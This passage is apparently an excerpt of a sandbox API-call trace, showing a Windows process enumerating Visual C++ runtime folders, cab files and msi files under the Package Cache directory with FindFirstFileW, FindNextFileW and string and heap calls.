	[0092.474] wcscat (in: _Dest=0x491e348, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\"
	[0092.474] wcscat (in: _Dest=0x491e348, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0092.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491eac8
	[0092.474] wcscpy (in: _Dest=0x491eac8, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0092.474] wcscat (in: _Dest=0x491eac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\"
	[0092.474] wcscat (in: _Dest=0x491eac8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*"
	[0092.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710cc8
	[0092.474] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.475] wcscmp (_String1=".", _String2=".") returned 0
	[0092.475] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.475] wcscmp (_String1="..", _String2=".") returned 1
	[0092.475] wcscmp (_String1="..", _String2="..") returned 0
	[0092.475] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.475] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.475] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.475] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.475] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1
	[0092.475] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1
	[0092.475] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.475] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710cc8) returned 1
	[0092.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eac8) returned 1
	[0092.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e348) returned 1
	[0092.475] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.475] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47124d8) returned 1
	[0092.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926260) returned 1
	[0092.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926198) returned 1
	[0092.477] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.477] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712008) returned 1
	[0092.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61000) returned 1
	[0092.477] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
	[0092.478] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1
	[0092.478] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1
	[0092.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61580
	[0092.478] wcscpy (in: _Dest=0x2d61580, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.478] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.478] wcscat (in: _Dest=0x2d61580, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0092.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481ba08
	[0092.478] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0092.478] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\"
	[0092.478] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*"
	[0092.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0092.478] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.478] wcscmp (_String1=".", _String2=".") returned 0
	[0092.478] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.478] wcscmp (_String1="..", _String2=".") returned 1
	[0092.478] wcscmp (_String1="..", _String2="..") returned 0
	[0092.478] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.478] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.478] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4926710
	[0092.478] wcscpy (in: _Dest=0x4926710, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0092.478] wcscat (in: _Dest=0x4926710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\"
	[0092.478] wcscat (in: _Dest=0x4926710, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0092.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926198
	[0092.479] wcscpy (in: _Dest=0x4926198, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0092.479] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\"
	[0092.479] wcscat (in: _Dest=0x4926198, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*"
	[0092.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f988
	[0092.479] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.479] wcscmp (_String1=".", _String2=".") returned 0
	[0092.479] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.479] wcscmp (_String1="..", _String2=".") returned 1
	[0092.479] wcscmp (_String1="..", _String2="..") returned 0
	[0092.479] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.479] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1
	[0092.479] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1
	[0092.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b268
	[0092.479] wcscpy (in: _Dest=0x491b268, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0092.479] wcscat (in: _Dest=0x491b268, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\"
	[0092.479] wcscat (in: _Dest=0x491b268, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0092.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b550
	[0092.479] wcscpy (in: _Dest=0x491b550, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0092.479] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\"
	[0092.479] wcscat (in: _Dest=0x491b550, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*"
	[0092.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.479] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.480] wcscmp (_String1=".", _String2=".") returned 0
	[0092.480] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.480] wcscmp (_String1="..", _String2=".") returned 1
	[0092.480] wcscmp (_String1="..", _String2="..") returned 0
	[0092.480] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.480] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.480] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.480] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.480] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1
	[0092.480] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1
	[0092.480] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.480] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0092.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0092.480] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.480] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f988) returned 1
	[0092.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926198) returned 1
	[0092.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926710) returned 1
	[0092.480] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.480] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.481] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711198) returned 1
	[0092.481] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.481] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0092.481] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
	[0092.481] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1
	[0092.481] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1
	[0092.481] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d60ea0
	[0092.481] wcscpy (in: _Dest=0x2d60ea0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.481] wcscat (in: _Dest=0x2d60ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.481] wcscat (in: _Dest=0x2d60ea0, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
